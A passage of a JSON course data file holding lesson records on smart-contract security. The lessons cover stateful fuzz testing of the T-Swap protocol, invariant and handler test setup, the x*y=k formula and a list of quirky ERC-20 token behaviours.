"", + "duration": 7, + "videoUrl": "RnyCSAFxT00kVdWQ1DCFWsz94SFQiBZFScRyrlh02JCw8", + "rawMarkdownUrl": "/routes/security/5-tswap/16-Debugging-Fuzz-Sequences/+page.md", + "markdownContent": "---\ntitle: Debugging Fuzz Sequences\n---\n\n\n\n---\n\n# Invariant Testing, Fuzzing, and a Weird ERC-20 Exploit\n\n## Introduction\n\nHello, folks! In this blog post we'll embark on an exciting journey of executing invariant testing using a fuzzer. We will encounter misconfigurations, understand the output generated, identify the source of confused states (yes, we're going to meet a weird ERC20 token variant!), and unveil the importance of writing good tests, especially when dealing with external contracts.\n\nReady? Let's get started!\n\n## The Initial Fuzzing Scenario\n\nThe first thing we need to do is run our fuzzer, which is already configured to a contract, in our case, the \"Mock USDC.\" We have coded a fuzzer test, `forge test --mt`, that we'll apply here.\n\n**_Code to be inserted:_**\n\n```shell\nforge test --mt name-of-test\n```\n\nAs we eagerly anticipate a successful test run...\n\n### Problem Identification: The Fuzzer’s Anarchy\n\n![](https://cdn.videotap.com/dJ9d44aCK4jLbP02SRGT-77.81.png)\n\nUnfortunately, things don't turn out as planned. The fuzzer is attempting to interact with every possible edge, not just the \"handler\" contract we intended to speculate. To tether its leash back, we explicitly identify the target contract.\n\nAfter the amendment, another run of the test is conducted.\n\n### Signalling Errors: The Test Output\n\nRun again, we are greeted with an error message from a call to `withdrawYield` (ERC20).\n\nThe output isn't clear, but running the command `-VVV` (very, very verbose) may shed light on the error. The detailed output points fingers at an \"insufficient balance,\" raising questions why our fuzzer-guided users are struggling to withdraw tokens they own.\n\nAttempting to better understand this scenario, we consciously decide to ignore the revert conditions. However, the issue persists, generating a mountain of output data.\n\nA new strategy is formulated to drop ‘the seed’ controlling the fuzz, re-running the test in search of more comprehensible output.\n\n## Deep Dive: The Problematic ERC20 Token\n\nAnalysis of new output traces reveal that the `depositYield` function is also encountering a revert condition. A comparison of the pre and post-amendment data validates the improvement acquired through the fuzz restriction.\n\nThe error persists through multiple test runs, so we opt to investigate the contract code, revealing nothing out of the ordinary in the `withdrawToken` function, a likely suspect. Maybe the issue lies within the token itself?\n\nA scrutiny of `yieldYear20` also reveals nothing amiss, except one: a custom error message.\n\nThe error signals a lack of balance, an oddity since the user’s balance should align with the deposit amount. But it's the fine print that throws a spanner in the works.\n\n## Unraveling the Truth: A Sinister Token\n\nLooking further into the `yieldYear20` token, we notice an eccentric mechanism: for every 10 transactions, a 10% fee is deducted and transferred to the owner. Smelling a rat, this erratic behavior is the root of the violation of our invariant.\n\n### An Unexpected Result: Violation of the Invariant\n\nHere’s what unfolds: after back-to-back deposit and withdrawal transactions of the `yieldYear20` tokens, the 10th transaction deducts this 'fee,' dispatching 10% of tokens to the owner's contract. This act violates our invariant, which demands that users can always withdraw the exact balance fraction amount.\n\n## Importance of a Well-Written Test Suite\n\nLuckily, our top-notch stateful fuzzing test suite spotted the anomaly. It showcased the significance of having well-detailed tests, especially when external contracts, such as tokens, are involved. This informal audit brought attention to a significant pitfall potential, “Weird ERC-20 tokens.”\n\n### Wrap Up: Invitations, Exploitations, and Auditations\n\n“Congratulations for digesting this massive chunk of knowledge! Don't fret if you're perplexed; it's a lot to take in, especially without hands-on practice. But remember, Rome wasn't built in a day!\n\nThe key takeaway here is the importance of writing detailed test suites, accurately capturing potential anomalies that could break our system. As for our journey, you've just witnessed the first exploit of this session, the \"Weird ERC-20 Tokens,\" a concept we will explore in-depth in coming sessions.\n\n> “To iterate is human, to recurse, divine.” – L. Peter Deutsch\n\nHaving unraveled the problem, we're now geared up for the final leg of our expedition, auditing the ‘T-Swap protocol.' Stay tuned, as exciting discoveries await!\"\n", + "updates": [] + }, + { + "lessonId": "f69e22bd-9912-4545-812b-1a44744e6120", + "number": 17, + "title": "Fuzzing Recap", + "slug": "fuzzing-recap", + "folderName": "17-fuzzing-recap", + "description": "", + "duration": 2, + "videoUrl": "ZIreQHFgdWlZ5jhfq51kxYNglTrhnlQ9LNkW5kybSCM", + "rawMarkdownUrl": "/routes/security/5-tswap/17-fuzzing-recap/+page.md", + "markdownContent": "---\ntitle: Fuzzing Recap\n---\n\n\n\n---\n\n# Mastering the Art of Fuzzing: Stateless, Stateful, and Weird ERC 20 Exploits\n\nIn this blog post, we're going to dive into the exciting world of `fuzzing`. Hang in there and get ready to uncover the intricacies of stateless fuzzing, explore the intriguing concept of stateful fuzzing, programmatically exploit the Weird ERC 20, and navigate the maze of manual bug finding in your codebase.\n\n## A Quick Recap: All About Stateless Fuzzing\n\nSo, what did we just uncover? We got to grips with the powerful tool called `stateless fuzzing`. Stateless fuzzing offers invaluable aid to developers as it tests a system with a series of random inputs, shreds through layers of errors, helps to uncover bugs in a codebase, and optimizes system performance.\n\nHowever, stateless fuzzing does have a downside. Its efficiency falls abruptly when it comes to `stateful fuzzing`. Why? Because stateful fuzzing isn't just about pounding a codebase with random inputs. It's more like a well-choreographed dance sequence, requiring precise steps and accurate timing.\n\n_\"Stateless and stateful fuzzing holds the same end goal: to identify and fix bugs and vulnerabilities in a codebase. However, they approach this goal from different perspectives.\"_\n\n## The Handler Method: Bridging the Gap between Stateless and Stateful Fuzzing\n\nBut here's the shimmering light at the end of the tunnel: the handler method. This handy little method functions as a proxy that enables us to call our contract and achieve a more nuanced stateful fuzzing strategy, especially when dealing with complex contracts.\n\nIn simple terms, the handler method allows us to make our randomness `less random`. This directed randomness enables stateful fuzzing to probe more effectively into a codebase's vulnerabilities.\n\nIt helps the fuzzer go down paths that make sense, ensuring a more efficient and targeted fuzzer run.\n\n![](https://cdn.videotap.com/imecUt1GioVaw6WCZCUs-33.1.png)\n\n## Teasing the Weird ERC 20 Exploits\n\nNext, we dipped our toes into the Weird ERC 20 exploit. While we didn’t dive deep into this topic, consider it your cliffhanger, your incentive to keep learning! We’ll be exploring the Weird ERC 20 in detail soon enough. It's an exploit you definitely don’t want to miss because it is a crucial tool to test more advanced code contracts.\n\n_\"In the world of coding and security breaches, the 'weird ERC 20' presents itself as a fascinating challenge and a riveting exploit that aids in uncovering deeper vulnerabilities within the code.\"_\n\n## Looking Forward: The Road Ahead with TSWAP and Manual Review\n\nWith this newly acquired knowledge, next on our agenda is to apply these techniques to `TSWAP` and run stateful fuzzing tests. After we've done that, we'll dive headlong into the fascinating world of manual reviews.\n\nThe manual review process can seem tedious, especially since it involves hunting down bugs without any automation. But rest assured, it’s an amazing learning journey that adds tremendous value to your skillset as a developer.\n\n## Take-A-Break Strategy\n\nAfter this whirlwind tour of fuzzing, exploit, and reviews, you’ve made it so far and gained quite a bit of expertise! Peeling back layers of codes, vulnerabilities, and in-depth testing strategies can be mentally taxing, which is why it's important to give your brain some downtime.\n\n_\"Learning is a marathon, not a sprint; don't forget to hydrate, take breaks, and recharge yourself.\"_\n\nFeel free to take a short break, stretch a bit, go for a walk or do anything you find relaxing. When you’re ready, we'll reconvene and continue our descent into the rabbit hole of coding exploits and vulnerabilities, enriched, refreshed, and ready for more.\n\nUntil then, congratulations once again and see you after your well-deserved break!\n\nStay tuned for more fuzzing and coding action in the next blog entry!\n", + "updates": [] + }, + { + "lessonId": "193a4e62-8f2e-41e3-bfaa-9d9006564d17", + "number": 18, + "title": "Weird Erc20s", + "slug": "weird-erc20", + "folderName": "18-weird-erc20", + "description": "", + "duration": 4, + "videoUrl": "m1vcLcx9Hm2EscLBPq2jk93Gj4xFU8LW65qqwPQ02tLM", + "rawMarkdownUrl": "/routes/security/5-tswap/18-weird-erc20/+page.md", + "markdownContent": "---\ntitle: Exploit - Weird ERC20s (These are a menace to Web3)\n---\n\n\n\n---\n\n# Exploring the Weird World of ERC-20 Smart Contracts: Security, Oddities and Auditing\n\nIn this blog post we'll delve into one of the most interesting parts of the decentralized area - ERC-20 Smart Contracts and their intricate aspects. We’re going to go back to the `cipher` security and auditing full course on GitHub and explore more about a special section named **TSWAP**, specifically _section five_.\n\n## Tackling the ERC-20 Quirks\n\n> _Remember, it's the stuff we don't know that keeps us up at night._\n\nOne weird instance that we are going to discuss today is about `ERC-20 fee on transfer token`, which was part of the `SC_exploits`. When testing this token, it was found that for every ten transactions, a fee was being charged. This might seem innocuous, but this little oddity has the potential to destabilize numerous protocols.\n\n![](https://cdn.videotap.com/AepJ0CJaMiwbHLC1x4GC-49.5.png)\n\n## The Anomalies of ERC-20 Tokens\n\nERC-20 Tokens come in all shapes and sizes. Here's a glimpse into some of the variants and potential problems that lurk in the shadows:\n\n1. **Reentrant tokens**: These ERC-777s seem harmless, but even a simple transfer of these tokens can lure you into a pit of reentrancy attacks.\n2. **Missing return values**: Some tokens don’t return a boolean on ERC-20 methods. For transactions requiring a status check, this can be a potent problem.\n3. **Fee on transfer**: Some tokens sneak in a fee on every transfer while others can start doing so in the future.\n4. **Upgradable tokens**: These tokens, like USDC, could morph into anything over time.\n5. **Rebasing tokens**: These tokens magic away your balance by meddling with different contracts.\n6. **Tokens with blocklists**: Some tokens put restrictions on certain transacting parties.\n7. **Low/high decimals**: Token numbers can go from unusually low to abnormally high, causing calculation mishaps.\n8. **Multiple token addresses**: These tokens exist in more than one places at once.\n\n## Dealing with ERC-20 Tokens Anomalies\n\n![](https://cdn.videotap.com/4oHWptmu7liSgxFnB37w-170.5.png)\n\nERC-20 Tokens are an external smart contract that one must treat with a level of wariness. While integrating with them, you must be fully aware of the token’s characteristics.\n\nBlockquote:\n\n> _Playing in the world of ERC-20s without complete information is like dancing on a live minefield._\n\nA cagey approach to interacting with ERC-20s can be the difference between a successful dApp and a failed project.\n\n![](https://cdn.videotap.com/fnsDlRcZfomWTHFt6MFT-214.5.png)\n\nIn conclusion, if you are aspiring to be a top-flight builder of powerful smart contracts. This website is an excellent guide to understanding and gaining expertise in the world of smart contracts. It serves as both a practical tool and an in-depth manual to secure smart contracts.\n\nAnd remember, \"The first step to great security is being aware about all the unknowns!\".\n", + "updates": [] + }, + { + "lessonId": "6a0f18c4-814b-4633-b5b4-003b101496a7", + "number": 19, + "title": "Writing Stateful Fuzz Test Suite", + "slug": "writing-stateful-fuzz-test-suite", + "folderName": "19-writing-stateful-fuzz-test-suite", + "description": "", + "duration": 1, + "videoUrl": "T01QiR8liaNn83eu02na8c5eRUv2YNPN1lrReX022P13WM", + "rawMarkdownUrl": "/routes/security/5-tswap/19-writing-stateful-fuzz-test-suite/+page.md", + "markdownContent": "---\ntitle: Writing Stateful Fuzz Test Suite\n---\n\n\n\n---\n\n# Unearthing Invariant Bugs in T Swap: An In-Depth Look at Stateful Fuzzing\n\nIn the world of code development, testing isn't just a good practice – it's essential. This article provides a holistic perspective on a recent exploration into T Swap's codebase, observed practices, and the application of stateful fuzzing test suites.\n\n## Understanding T Swap: The Prelude\n\nBefore we delve into our primary focus, let's backtrack and recap.\n\nWhile sifting the codebase, it was evident that T Swap is well-grounded in underlying unit tests. However, the presence of specific entity, a certain critical invariant, led to a realization about the absence of something integral.\n\n> \"If the codebase has unit tests but no stateful fuzzing test, should we be concerned?\"\n\nOur answer to this turned out to be a resounding yes. It was a hint pointing towards the potential issues nestled within the T Swap system. Identifying these areas for improvement was not held within the realms of SRC – it was staring right at us.\n\n## The Task at Hand: Writing an Invariant Test Suite\n\nStepping back to our main branch, we essentially locked eyes with an important discrepancy. Our codebase recognized its unit tests yet failed to host stateful fuzzing tests. And thus, the mission was clear. We were mandated to write the stateful fuzzing test suite and slightly so, expected to discover bugs in the process.\n\nThe task involved working directly with the T Swap's codebase, devising an automated stateful fuzzing invariant test suite. We believed that by accomplishing this, we would be able to unmask potential bugs within the system.\n\n## The Rollout: A Zero Manual Review Approach\n\nIn a paradigm shift from conventional methods, we decided to go zero manual review - a method entirely run by an automated test suite. While this may seem daunting, the focus was to write an automated test suite that will identify the bugs without human interference.\n\nHowever, to validate our automated test suite's competence, we decided to undertake a modest amount of manual review. This was a complimentary step to ensure the robustness of our newly coded test suite.\n\nAfter exacting the plan, we were ready to run our test suite and examine the results.\n\n## In Summary\n\nUsing hints from the T Swap's system peculiarities and their own testing protocols, we realized that there was an absence of an integral part of test coverage – stateful fuzzing tests. A thorough exploration of this deficiency led us to write an automated invariant test suite, supplemented by a hint of manual review.\n\nThe goal was to find bugs with minimum manual intervention, and guess what? We did find some. So, stay tuned for the next part of this journey as we dissect the bugs and understand how to rectify them!\n\nRemember at all times, coding might be art, but testing is a science!\n", + "updates": [] + }, + { + "lessonId": "661fbd6d-5f1e-4b21-9330-9836857077d7", + "number": 20, + "title": "Constant Product Formula Explained", + "slug": "constant-product-formula-explained", + "folderName": "20-constant-product-formula-explained", + "description": "", + "duration": 9, + "videoUrl": "QZsbxhV2ceWGdd2qwwAJzdHWTOLXaMovBmvAEq5eDJY", + "rawMarkdownUrl": "/routes/security/5-tswap/20-constant-product-formula-explained/+page.md", + "markdownContent": "---\ntitle: Constant Product Formula Explained\n---\n\n\n\n---\n\n# Unraveling the Math in Uniswap's X \\* Y = K Invariant\n\n> **\"The main thing we want to keep in mind is the ratio of tokens should always stay the same.\"**\n\nUniswap, a popular decentralized exchange protocol, leverages a relatively simple mathematical principle to ensure that the balance within the pool maintains a certain ratio. At the core of its mechanism is the invariant formula: X \\* Y = K, which is held constant throughout all trading activities. However, when fees are factored in, the invariant technically increases, leading to a somewhat complex equation which we'll dissect further in this blog post.\n\nSeeing all the math involved, you might feel a bit overwhelmed, but hang tight, as we take a deep dive into the intricacies of the math and algebra involved. If you are someone with a keen interest in mathematics and decentralized finance, strap yourself in as we journey down this Uniswap mathematical express.\n\n## X \\* Y = K, The Magic Invariant Equation\n\nOur first step is to grasp the magic invariant equation, X \\* Y = K. Our code base operates on an invariant principle where the token balance of X times the token balance of Y should always equal the same constant, K.\n\nHere is the equation:\n\n```ruby\nX * Y = K\n```\n\nThe token balance of X times the token balance of Y after a swap operation should still equal the same constant K, regardless of the asset swapped. Let's illustrate the idea using an example:\n\nGiven we have a Uniswap pool of Ethereum (WETH) and USD Coin (USDC), and a trader makes a swap operation — removing some WETH to add some USDC — the balance ratio should remain constant to prevent the trader from manipulating the price to their advantage.\n\n![](https://cdn.videotap.com/7AR7AuVGUkohvd6xDQ8G-119.24.png)## Simplifying The Equation\n\nThe X \\* Y = K equation might seem a straightforward invariant, but implementing it as an assertion in the codebase can be challenging. But don't worry — to ease the process, we need to simplify this equation to a form where we can explicitly say the change in token balance must always follow a certain formula.\n\nWe'll simplify the equation using algebra to a format suitable for “stateful fuzz testing”. Don't feel pressured if you don't follow every step; you can still hold on to the principle that checks out.\n\nHere’s the process of simplifying the equation using algebra:\n\n1. Starting with the core equation and its variant:\n\n```ruby\nX * Y = K (core equation)X * Y = (X + ∆X) * (Y - ∆Y) (With changes ∆X and ∆Y in X and Y)\n```\n\n![](https://cdn.videotap.com/QHzVQA2HNb4hbKJl7pYc-220.14.png)2. Using the FOIL (First Outer Inner Last) algebraic method to simplify the equation:\n\n```ruby\nX*Y - X*∆Y = X*Y + ∆X*Y - ∆X*∆Y\n```\n\n3. X\\*Y appearing on both sides of the equation:\n\n```ruby\n-X*∆Y = ∆X*Y - ∆X*∆Y\n```\n\n4. Isolate the change in X (denoted as ∆X):\n\n```ruby\n∆X * Y - ∆X * ∆Y = X * ∆Y\n```\n\n5. Factor out ∆X:\n\n```ruby\n∆X * (Y - ∆Y) = X * ∆Y\n```\n\n6. Solve for ∆X:\n\n```ruby\n∆X = (X * ∆Y) / (Y - ∆Y)\n```\n\nAnd there you have it! We've simplified the equation from X \\* Y = K, down to ∆X = (X \\* ∆Y) / (Y - ∆Y) — an equation we can use in our fuzz test!\n\n![](https://cdn.videotap.com/q4fjlDbGWHwTtzGV6qC4-467.79.png)## Wrapping Up and Next Steps\n\nWe did some crafty algebra to break down X \\* Y = K to a simplified equation. Remember, the formulas we were dissecting are vital for the Uniswap protocol to maintain a balanced token ratio, hence they are also vital for us when creating our stateful invariant testing suite.\n\nDon't despair if the blocks of algebra seems difficult to understand because all the math we've covered will be included in the associated Github repo. If you're more comfortable with visual diagrams or need a deeper explanation of mathematical techniques, [Chat GPT](https://chat.openai.com/) can be very helpful.\n\nFor those who wish to take an even deeper dive into the formal verification of the X\\*Y=K market maker model, the respected paper on [Runtime Verification](https://runtimeverification.com/) goes into detail about how the formula works from a formal perspective.\n\nThanks for reaching this part, keep up the good work, and see you in the next blog post!\n", + "updates": [] + }, + { + "lessonId": "d8649b57-9977-4a49-9b40-fd74a03c43b1", + "number": 21, + "title": "Invariant.t.sol", + "slug": "invariant-t-sol", + "folderName": "21-invariant-t-sol", + "description": "", + "duration": 17, + "videoUrl": "ocof300Xrlq02CyqKvJe5Ddr6GISNFBl02K2gH2pr00oes00", + "rawMarkdownUrl": "/routes/security/5-tswap/21-invariant-t-sol/+page.md", + "markdownContent": "---\ntitle: Writing T-Swap a stateful fuzz test suite - Invariant.t.sol\n---\n\n\n\n---\n\n# Testing Smart Contracts with Invariants\n\nHey there, in this blog post, we're going to walk through how to audit a smart contract using invariant testing. Specifically, we'll use the TSWAP contract codebase. By the end of this tutorial, you'll have a grasp on writing invariant test suites in Solidity.\n\n## Overview\n\nLet's imagine you're tasked with a private audit. You're supposed to help someone stay secure. It's an awesome feeling when you come back with an audit report together with an invariant test suite. As we'll see in this tutorial, it's essential not to dive into looking at the code base before writing testing essentials. So yes, we're going to find bugs without even viewing the code base. Sounds crazy, right? Buckle up!\n\n## Setting Up The Codebase\n\nWe'll start by setting up our file structure. In our working environment, let's create a new folder called _invariant_. In this folder, we're going to house two Solidity (.sol) files. The files will be named `invariant.t.sol` and `handler.t.sol`, respectively.\n\nOnce we've set this up, we're ready to start writing our tests.\n\n## Building Our Invariant\n\nWe'll begin with writing `invariant.t.sol`. We need to start defining our tests by first constructing the 'invariant'.\n\nBuilding up `handler.t.sol` will require us to dig deep into the codebase. However, we can get away with developing `invariant.t.sol` a little bit blind. It allows us to commence testing without scrutinizing the entire contract.\n\n## Constructing Mock Tokens\n\nWhile preparing our test environment, we realize that our contract is interacting with the WETH token and a particular poolFactory. These factories take in WETH tokens as an input parameter. Therefore, as part of our setup, we're going to create mock tokens.\n\nLet's create another directory named _mocks_ where we will create some mock tokens. We will need one file called `ERC20Mock.sol`:\n\nWe then proceed to create an `ERC20Mock`, which derives from `ERC20` token.\n\nThis way, we prepare a simulated environment where the tokens we will use do not have actual value, which is critical for safe and responsible testing.\n\n## Writing The Handler\n\nWith our tests set up, our next step is to write the handler. While we could write asserts directly in our invariant, the cleaner approach is to compute these in the handler. This way, our assert becomes a one-liner:\n\nThis way, we can ensure that our logic holds, regardless of the varying input parameters. In developing more complex software or systems, invariants play a crucial role in enforcing correctness.\n\n## Conclusion\n\nWell, it's been a long post! Whew. But there you have it, you now have a good grasp of writing invariant tests for your smart contracts. Remember, practice makes perfect and don't shy away from puzzling your brains. It's part of the fun in blockchain development. Keep practicing!\n", + "updates": [] + }, + { + "lessonId": "a5b53fd9-50f1-46d1-bcbe-11ff65fd418f", + "number": 22, + "title": "Handler.t.sol", + "slug": "handler-t-sol", + "folderName": "22-handler-t-sol", + "description": "", + "duration": 18, + "videoUrl": "ApSkCH1snVHGLn101EXtkXyn1j100JwUiatcBA501D6n7o", + "rawMarkdownUrl": "/routes/security/5-tswap/22-handler-t-sol/+page.md", + "markdownContent": "---\ntitle: Writing T-Swap a stateful fuzz test suite - Handler.t.sol, Deposit Function\n---\n\n\n\n---\n\n# Breaking Down DeFi Audits with Invariant Testing\n\nIn this deep dive into DeFi audits, we will be covering a wealth of material ranging from DeFi to invariant testing. Do remember that we're dealing with complex topics, so if things are not making perfect sense, take a breather, and continue at your own pace. You're doing great by simply trying to digest this sizable chunk of advanced concepts.\n\n## Building a Handler\n\nLet's start with the task of building our handler. A common technique that comes in handy when addressing large problems is to break the problem down into smaller segments. We're taking this approach with our handler development.\n\nIn our contract, a constructor will create a TSWAP pool. Now, we need to test an invariant that the change in `X` (token balance) is equal to the expected change in `X`.\n\nWithin our handler, we'll want to implement at least two main functions: a deposit function and a swap function. For the purposes of this tutorial, we’ll focus on `deposit` and `swapExactOutput` functions as a starting point.\n\n## Decoding Function Documentation\n\nOne advantage we have while trying to understand these functions, is that the documentation is quite helpful. If there were no docs, we'd be wading through the code itself, which could be much more time-consuming.\n\nTaking `swapExecOutput` for example, the function documentation illustrates its working as follows:\n\n> swapExecOutput figures out how much you need to input, based on the output you want to receive. For instance, if you want ten output tokens of WETH and you're inputting DAI, the function will calculate the amount of DAI needed to get you the desired WETH and execute the swap.\n\nSuch explanations in the documentation significantly facilitate understanding of the code, thus contributing to making the auditing process relatively less time-consuming.\n\n## Keeping Notes\n\nWhile working through the process, it's good practice to keep notes or record findings, especially when there are missing parameters as we've noticed in the `swapExecOutput` function. Let's do this to maintain an audit trail for future reference.\n\nHere’s a simple note example:\n\n> Notes:Audit findings:Missing param in NatsSpec, missing deadline param in `swapExecOutput`. Also, remember to check with the protocol team for any documentation for better audit efficiency.\n\n## Setting up Core Handler Actions\n\nBack in our handler, we want to focus on two primary actions, at least to start: depositing and swapping.\n\nTo perform a deposit, we need access to the tokens. For swapping, we're likely to use `swapExactOutput`. We'll begin by implementing these, and gradually build from there. By writing a Fuzz test suite to execute these actions, we will not only be contributing to better code quality, but also making the protocol safer.\n\nLet's begin with creating our deposit function.\n\n## Constructing the Deposit Function\n\nOur deposit function begins by defining our tokens, in this case, WETH and Pool tokens.\n\nWith the availability of these tokens, we can proceed with determining the amounts for tokens to deposit, ensuring we set reasonable amounts to avoid overflow errors. The quantity of WETH to deposit will dictate the corresponding change in the Pool tokens.\n\nOnce we execute the deposit, we compare our expectations (expected delta) with the actual changes in the Pool and WETH tokens.\n\nWe are effectively done with our deposit function, but we didn't sign up to only handle deposits; we're here to test the swap invariant.\n\n## Building the Swap Function\n\nThe auditing process includes verifying code and ensuring that invariants hold through operations like swaps. That's part of what we're trying to achieve here, which brings us to create our swap function.\n\n> \"Remember, the bigger the vulnerabilities you uncover, the bigger the improvements you can make, ultimately contributing to the overall safety of DeFi protocols and the blockchain ecosystem.\"\n", + "updates": [] + }, + { + "lessonId": "03eddcf6-15bb-43fb-8686-ce58db4c094f", + "number": 23, + "title": "Handler Swap Function", + "slug": "handler-swap-function", + "folderName": "23-handler-swap-function", + "description": "", + "duration": 12, + "videoUrl": "ODM2r11y00SBBLuBISkxsjJS8gu7T800qBC00xz6Hp1Qf4", + "rawMarkdownUrl": "/routes/security/5-tswap/23-handler-swap-function/+page.md", + "markdownContent": "---\ntitle: Handler.t.sol - Deposit Function\n---\n\n\n\n---\n\n# Testing Uniswap's Token Swap Function\n\nIn this post, we're going to thoroughly explore the function which swaps a pool token for `WETH` along with the underlying math involved. In Uniswap, `WETH` is short for Wrapped Ethereum, a token that represents Ether 1:1, enabling it to adhere to the ERC-20 standard.\n\n## The Swap Function and Its Logic\n\nFirstly, we bind `outputWETH` between 0 and `UNI_64_MAX` to provide a more realistic transaction range. We don't want all the money in the pool to be swapped out. This would be logically unfeasible and destructive for liquidity, hence we return if `outputWETH` exceeds the pool balance.\n\n## Delving into the Math Underlying the Function\n\nIn order to ascertain the pool token amount that must be minted or burnt based on `outputWETH`, we employ the following mathematical derivation.\n\nIn the `TSWAP` pool, there is a function called `getInputAmountBasedOnOutput`, which yields the `delta_x`. Without going into the specifics of this formula, let's understand why it works with a bit of simple algebra.\n\n> _\"It's in understanding how to manually solve these equations that you understand the importance and workings of the smart contract functions we work with.\"_\n\nWe utilize this function on the `TSWAP` pool to get the `poolTokenAmount` which is our `delta_x`.\n\n## Updating Starting Deltas\n\nThe reason for the `-1 * _outputWETH` is because the pool is losing `WETH`, hence making the `deltaY` negatively inclined. We comfortably say that it is the `expectedDeltaY`.\n\n## Minting Pool Tokens for Swapping User\n\nHere, we commence by creating a new person `address swapper`. This is the person performing the swap with the pool. If the swapper doesn't have enough pool tokens for this swap, we mint the difference along with one additional token just to be explicit.\n\n## Actual Token Swap\n\nThis is where the actual token swap occurs. We begin a new transaction under the swapper's address. This transaction includes approval for the pool to manage their pool tokens, with no limit set (`UNI_256_MAX`), with the `swapExactOutput` function called to perform the swap.\n\n## Finalizing Swap and Updating Ending Deltas\n\nAfter completing the swap, we simply update our ending deltas and calculate the actual deltas. The actual deltas are simply the initial balances subtracted from the final balances.\n\n## Conclusion\n\nThe entire handler function, `swapPoolTokenForWETH`, crafts a transaction, conducts a swap on the pool and calculates expected and actual balance changes to ensure the protocol behaves as expected.\n\nThe process can feel challenging when dealing with mathematical equations, but abstraction makes it easier. We've constructed our handler focussing on the process more than the math. This handler allows easier stateful fuzzing tests, ensuring the safety and security of anyone interacting with the pool.\n\nThis testing framework aids in understanding how these token swapping protocols are designed and behave, giving us more confidence in the robustness of Uniswap's smart contracts.\n", + "updates": [] + }, + { + "lessonId": "19a75983-8466-48de-9cb8-bc84bd3981ae", + "number": 24, + "title": "Final Invariant And Tweaks", + "slug": "final-invariant-and-tweaks", + "folderName": "24-final-invariant-and-tweaks", + "description": "", + "duration": 3, + "videoUrl": "to1lD02l00jStNb9SW9VG4RqWRQban9mnbh8AdBZEwTPY", + "rawMarkdownUrl": "/routes/security/5-tswap/24-final-invariant-and-tweaks/+page.md", + "markdownContent": "---\ntitle: Final Invariant & Tweaks\n---\n\n\n\n---\n\n# Diving into Invariants: Writing Tests in Coding\n\nIn this blog post, we will uncover the steps to set up tests for an invariant in our code. Precisely, we will write a simple test and furthermore guide you through the setup for our handler.\n\n## Writing the Test\n\nAfter establishing our invariant, it's time to proceed to writing a basic test. This test could be as simple as asserting that the actual `Delta X` from our handler should equal the expected `Delta X`. Here is how we could write this test.\n\n```python\nassert handler.actualDeltaX == handler.expectedDeltaX\n```\n\nThough I must confess, I often prefer writing `assertEqual` as it usually provides more detailed information, you can certainly opt for our above statement which succinctly accomplishes the task.\n\nThe actual test, however, functions in rudimentary terms to ensure that our expected delta is aligned with the actual delta in the handler.The expected delta is assigned using the function `Y times X equals K`, which calculates the expected deltas. We then compare the computed deltas to the actual deltas.\n\n## Setting Up the Handler\n\nNow, let's dive into actually setting up the handler, which calls for us to move up a bit, retracing our steps.\n\nTo initiate the handler setup, we need to first import it. This can be done using the following code:\n\n```python\nimport handler from 'handler.t.sol'\n```\n\nAfter successfully importing the handler, we can create a new handler using the `new` keyword. This handler takes the parameter as `poolBytes for Array memory`.\n\n> Note: All the variables used above can be replaced depending on the specific needs of a project.\n\nIn conclusion, we have seen how easily we can write the basic structure of a test and set up our handler. The ease at which we can perform these tasks simplifies our coding endeavors and ensures more stable code in the long run.\n\nRemember, while writing tests, our ultimate goal is to ensure that our code behaves as we expect it to under different circumstances. After all, in the words of a wise coder, \"Code without tests is bad code.\". Make space for tests the next time you code and watch the number of errors drop significantly.\n", + "updates": [] + }, + { + "lessonId": "e455fe14-0139-4841-a296-19d5c9c27b3b", + "number": 25, + "title": "Debugging The Fuzzer", + "slug": "debugging-the-fuzzer", + "folderName": "25-debugging-the-fuzzer", + "description": "", + "duration": 8, + "videoUrl": "zO5xGKOv629jSkzOJa1VOs9vtd01Ye8ZUaGODCpiOmCs", + "rawMarkdownUrl": "/routes/security/5-tswap/25-debugging-the-fuzzer/+page.md", + "markdownContent": "---\ntitle: Debugging the Fuzzer\n---\n\n\n\n---\n\n# Debugging Your Code the Way a Pro Would Do It\n\nIn today's lesson, we'll dive into a realistic process of debugging, using live examples and explaining how to overcome certain coding hurdles.\n\nTypically, I spend a large chunk of my work hours debugging unexpected failures in code scripts, and I thought it would be valuable to share my experience with you.\n\nOften, you'll need to rerun your code, alter variables, and cross your fingers, hoping you'd not receive the same error. Debugging is intriguing and requires a keen eye for detail.\n\n## Debugging a Program\n\nHere is a practical example of how I discovered, investigated, and resolved errors in a program, step by step.\n\n![](https://cdn.videotap.com/YQdEYI0P1ab2zx1GvZnZ-68.11.png)\n\n### Step 1: Testing the Code\n\nAs expected, the program failed. The error notably pointed out that the `TSWAP pool must be more than zero`. From my experience, such failures are usually attached to some misconfigured variables or misplaced logics.\n\nIn this case, when checking back on the `handler`, there was a deposit function configured with zero - a value that must certainly be greater than zero.\n\nI then had to ask myself, what seemed to be the `minimum deposit`?\n\n### Step 2: Debugging Interlude\n\nI discovered something crucial here - the `minimum WETH liquidity`. This was the `minimum deposit amount` I should've assigned instead of zero.\n\nUsing this newly found information, I decided to replace the zero value in the `bound` function with this minimum deposit amount and then reran my test.\n\nIt appeared that the function `get input amount based off output` had been assigned the zero value, as was previously the case. Here we had to replace the zero with `pool. Get minimum WETH deposit amount` to avoid similar complications.\n\n### Step 3: Learning and Debugging\n\nI intentionally ran into these issues because it's an inevitable part of the coding process and learning experience. Debugging requires a skill to easily navigate through logs - It's a practice I find effective in learning code structure.\n\nAt this point, the `assertion` seemed to hit a snag. The immediate response was an `actual Delta X` being zero while on the right hand side, it was a large number. The inconsistency in values raises the question - where did I go wrong?\n\nTurns out, there was a small but significant mistake in the addressee in my code. It had mistakenly been set to `address this`, when it should have been `address pool`.\n\n### Step 4: The Resolution\n\nOnce that was rectified, it seemed like we were getting somewhere. The code was now giving a different error, an indication that we were making progress. However, I noticed there was a significant variance between the left and right side values - almost a clear doubling.\n\nThe key question now was whether my code was the problem or there was an `invariant` that was actually broken. Debugging requires such critical thinking to diagnose the root cause of errors.\n\n_SECTION OF CODE TO INSERT HERE_\n\nIt turned out I had made an incorrect assignment in the `handler`. The `Delta X` was supposed to be the `pool token amount` calculated earlier. This led to an unexpected elevation in the `outbound WETH` size, causing the script to keep reverting.\n\nTo solve this, I had the `bound` function call on the `WETH balance of the address pool`, as opposed to it being manually large.\n\n#### Handling Debugging Challenges\n\n> \"In debugging, there's a lot of trial and error, and it's okay. You're going to encounter a few challenges on your first try but with perseverance and keen attention to detail, you'll find a way to resolve these errors\".\n\nAfter making the necessary alterations and rerunning the tests, the program finally passed. This means the code 